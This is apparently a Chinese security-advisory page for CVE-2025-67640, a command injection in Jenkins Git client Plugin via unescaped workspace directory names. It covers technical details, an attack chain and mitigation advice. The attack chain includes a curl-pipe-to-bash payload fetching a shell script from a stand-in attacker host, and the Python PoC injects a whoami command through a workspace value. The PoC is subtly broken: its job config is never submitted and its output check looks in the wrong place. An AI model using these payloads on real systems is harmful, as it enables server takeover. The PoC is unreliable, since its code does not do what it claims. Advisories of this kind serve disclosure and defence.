IPBUF安全漏洞报告
English
CVE-2025-67640 CVSS 5.0 中危

CVE-2025-67640: Jenkins Git client Plugin命令注入漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2025-67640
漏洞类型
命令注入
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Jenkins Git client Plugin

相关标签

命令注入JenkinsGit client PluginCVE-2025-67640远程代码执行持续集成安全Shell脚本注入

漏洞概述

Jenkins Git client Plugin 6.4.0及更早版本存在严重的命令注入漏洞。该插件在执行Git操作时,会生成临时shell脚本来处理工作目录路径。然而,由于插件未能正确转义工作目录名称中的特殊字符,攻击者可以通过控制工作目录名称在生成的shell脚本中注入任意操作系统命令。此漏洞属于CVSS 3.1中危级别,攻击向量为网络,复杂度为高,需要低权限认证,但无需用户交互。成功利用此漏洞可导致机密性、完整性和可用性均受到低级别影响。攻击者一旦获得在Jenkins中配置项目或工作目录名称的权限,即可在构建过程中以Jenkins进程权限执行任意命令,可能导致服务器被完全入侵、敏感数据泄露或进一步横向移动。由于该插件广泛部署于使用Jenkins进行持续集成的企业环境中,此漏洞对构建基础设施的安全性构成重大威胁。

技术细节

Jenkins Git client Plugin在执行Git clone、fetch等操作时,会在Jenkins工作空间中创建临时shell脚本。问题出在插件将用户可控的工作目录路径直接拼接到shell脚本中,而未进行适当的安全转义。具体来说,当工作目录名称包含分号(;)、反引号(`)、$(...)等shell特殊字符时,这些字符会被shell解释器执行,从而实现命令注入。例如,工作目录名称设置为';whoami #'时,生成的临时脚本可能变为'git clone ... /workspace/'; whoami #/repo',其中whoami命令将被执行。攻击者利用此漏洞需要能够控制Jenkins项目的配置参数(如工作目录路径)或通过其他方式设置包含恶意命令的目录名称。攻击发生在插件生成的临时脚本被执行时,通常是在Git操作前准备阶段。由于Jenkins通常以较高权限运行,攻击成功可获得服务器控制权。

攻击链分析

STEP 1
信息收集
攻击者识别目标Jenkins服务器上运行的Git client Plugin版本,确认版本<=6.4.0
STEP 2
权限获取
攻击者获得在Jenkins中创建或修改项目配置的权限,或者能够控制工作目录名称的参数
STEP 3
恶意负载构造
攻击者构造包含shell特殊字符的工作目录名称,如'; curl http://attacker.com/shell.sh|bash #'
STEP 4
触发构建
攻击者触发Jenkins构建流程,Git client Plugin将生成包含未转义路径的临时shell脚本
STEP 5
命令执行
当临时脚本被执行时,注入的恶意命令以Jenkins进程权限在服务器上运行
STEP 6
持久化控制
攻击者通过写入后门或获取凭据建立持久化访问,实现对服务器的长期控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-67640 PoC - Jenkins Git client Plugin Command Injection # This PoC demonstrates command injection via workspace directory name import requests import urllib.parse # Target Jenkins server JENKINS_URL = "http://target-jenkins-server:8080" JOB_NAME = "vulnerable-project" API_TOKEN = "attacker-api-token" # Malicious workspace directory name with command injection malicious_workspace = "workspace'; whoami > /tmp/pwned #" # Step 1: Create or configure Jenkins job with malicious workspace job_config = f""" <?xml version='1.1' encoding='UTF-8'?> <project> <description>Test project with injected workspace</description> <builders> <hudson.plugins.git.GitBuilder> <remote>{malicious_workspace}</remote> </hudson.plugins.git.GitBuilder> </builders> </project> """ # Step 2: Trigger build to execute injected command build_url = f"{JENKINS_URL}/job/{JOB_NAME}/build" response = requests.post(build_url, auth=('attacker', API_TOKEN)) # Step 3: Check if command was executed check_url = f"{JENKINS_URL}/userContent/pwned" response = requests.get(check_url) if response.status_code == 200: print("[+] Command injection successful! Check /tmp/pwned") else: print("[-] Injection may have failed or requires different trigger")

影响范围

Jenkins Git client Plugin <= 6.4.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制Jenkins用户的权限,特别是项目创建和配置修改权限;2) 在Jenkins全局安全配置中启用CSRF防护;3) 使用Matrix授权策略细粒度控制用户权限;4) 监控Jenkins日志关注异常的构建行为;5) 考虑使用容器化Jenkins agent隔离构建环境;6) 审查现有项目配置,移除包含特殊字符的工作目录名称。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表